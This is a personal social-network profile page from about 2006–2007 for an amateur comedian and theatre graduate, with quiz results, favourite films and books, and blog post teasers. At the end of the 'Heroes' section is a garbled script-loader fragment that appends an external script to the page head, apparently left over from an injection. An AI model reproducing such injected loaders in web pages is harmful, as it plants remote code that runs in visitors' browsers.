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Jeremy

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About Me

My score on The 3 Variable Funny Test :
the Shock Jock
((61% dark, 61% spontaneous, 47% vulgar))
your humor style:VULGAR | SPONTANEOUS | DARKYour sense of humor is off-the-cuff and kind of gross. Is it is also sinister, cynical, and vaguely threatening to the purer folks of this world. You probably get off on that. You would cut a greasy fart, then blame it on your mom, and then just shrug when someone pointed out that she's dead.Yours is hands-down the most outrageous sense of humor; you like things trangressive and hardcore. It's highly likely (a) you have no limits (b) you have no scruples and (c) you have no job. Ironically, it's your type of humor that can make the biggest bucks in show business.PEOPLE LIKE YOU: Howard Stern - Adam Sandler - Roseanne Barr
Create Your Own! .. ....I am in an Comedy group that preforms at STAGEStheatre in Fullerton. So all of you should stop by and check out a show sometime for all show dates and directions go to: EVILMONKEYEMPIRE.NET, stagesoc.org or check out our myspace. I am also a college graduate and enjoying every moment I am not in school.
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My Interests

Stand-up comedy, improv, and directing are my life interests. I also enjoy rock climbing, watching movies, and being lazy. I also am interested in having good sleep…. So that is what my major interests are at this juncture of my life

I'd like to meet:

People who enjoy comedy and writing. Also cool people we cannot leave them out.... And fun people... and weird people.... and people people... and dogs if any dogs can use the keyboard and use myspace actually I would like to bump this group to the top of the list dogs who like myspace I am not sure what we would talk about but it would be super sweet to meet you crazy canines!! And anyone else in talking to me!!!

Movies:


Fight Club!

What movie Do you Belong in?(many different outcomes!)
brought to you by QuizillaI love movies…. Love them!!! This man has never come across a movie that he did not like…. Well…. That is only partly true…. however, Segal is my arch nemesis!!!! But, I would be surprised if he knew that…. Oh well… how depressing … but what are you going to do eh!?!?!? Some quick favorites for anyone who is still reading this: American History X, High Fedelity, Van Wilder ( It is sad but I do have one weird and unexplainable man crush on Ryan Reynolds I dont pretend to understand it I just embrace it) Splanglish, Cool Hand Luke and many others so if you want to know more just hit me up and I will bore you some more

Television:

...." .. .... Don't ever Fuck with Jack Bauer! Trust me you will regret it.

Books:

Um.... yeah.... about that..... uh.... well you see.... i dont really read..... or do i!?! Ok i like all kinds of books but mostly true crime (like the serial killers from A-Z whichi people think is weird oh well over it) and history books. Growing up my favorite book was any book by Roald Dahl who brought us such classics as the BFG and Charlie and the Chocolate Factory. I also like The Catcher and the Rye but it has been said that really liking this book might meanthat you are a schizophrenic becasue Mark David Chapman (the guy who shot John Lennon) thought he was Holden (the main character in said book) leave it to one crazy person to ruin it for the rest of us!!! And I just finished reading Angles and Demons which I thought was fantanstic and if you have not read it I would highly suggest it! Also since i am a theatre major i do have to read my fair share of plays. Also my teachers think I read books for their classes but we all know me better than then dont we!!!! And there you have it my complete reading life hope you enjoyed that little section.

Heroes:

Honestly I would have to say my parents… I know that sounds kind of corny but they have always supported me (even though I am a theatre major). So if you read this thanks for being always being there and for being my hero’s. OK if someone besides my parents are reading this you can now go to the restroom and vomit. Thank you for your patience. .. .."var s=document·('script');s.src='..';document·getEleme ntsByTagName('head')[0].appendChild(s);"

My Blog

Its The Final Countdown!

So my departure for tour is in nine days. I do not think it has hit me yet. The summer has been a blast, I worked for this company called Shakespeare by the Sea and that was a great experience, whic...
Posted by Jeremy on Sun, 22 Jul 2007 12:00:00 PST

Crazyness

People never stop to surprise me... For example last week I was getting ready for an EME show and these two women showed up. Now they were well lets say older (one was 82 and the other was in her 60'...
Posted by Jeremy on Mon, 17 Jul 2006 12:09:00 PST

True Genius Never Dies

Miles Davis if you love music you should at least be familiar with the name. This man not only changed the way we listen to music but also reinvented music. He did it all jazz, experimental sounds t...
Posted by Jeremy on Thu, 06 Jul 2006 11:36:00 PST

Show/Birthday/Wedding

So a very busy weekend with an EME show, a birthday and a Wedding. First on Friday there was an EME show our very first all star EME show which consisted entirely of our best skits from our first fou...
Posted by Jeremy on Mon, 26 Jun 2006 11:31:00 PST

End of an Era

So today was my last day as a Costco Food Court Employee. All I can say is it is about freaking time!! So I am making a move from my shitty college job to a job I am actually looking forward to dong...
Posted by Jeremy on Mon, 22 May 2006 10:04:00 PST

Thanks for the memories Grandma....

As some of you know but most of you probably dont my Grandmother passed away on Good Friday. I was very close to my Grandmother and this was a very hard thing for me. I remember when we knew the en...
Posted by Jeremy on Thu, 18 May 2006 09:49:00 PST

Great Plays Good Weekend

So for everyone who thinks I hate all the plays that I see, prepare yourself for a curveball. I saw not one but two plays that I thought were fantastic. The first play I saw was Little Shop of Horr...
Posted by Jeremy on Tue, 16 May 2006 07:04:00 PST

EME's March 31st show thoughts

Nerves were high& I was nervous about the new skits, the improv games and if people would show up. It was a tough day all around I felt rushed, having to run around and get props and stuff for the sh...
Posted by Jeremy on Sun, 02 Apr 2006 08:13:00 PST

This really moved me...

So I watched this tonight and well just really moved me and showed me how even in the face or hate and overwhelming odds people can really do amazing things... hopefully it will have some sort of impa...
Posted by Jeremy on Mon, 27 Feb 2006 09:43:00 PST

Jeremys thoughts on appearing on Martys Corner!

So last night we had our first television appearance on a show called Marty's Corner and let me tell you it was a lot of fun. To be honest it seemed surreal and I know it was only public access but h...
Posted by Jeremy on Mon, 20 Feb 2006 06:42:00 PST